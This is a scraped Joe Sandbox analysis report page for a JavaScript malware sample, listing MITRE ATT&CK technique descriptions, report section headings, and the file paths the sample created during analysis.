Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 24108325173196611859.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\88ba283c-7cc7-4d43-b652-c1525dfb1cf9.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7236

Windows Analysis Report
24108325173196611859.js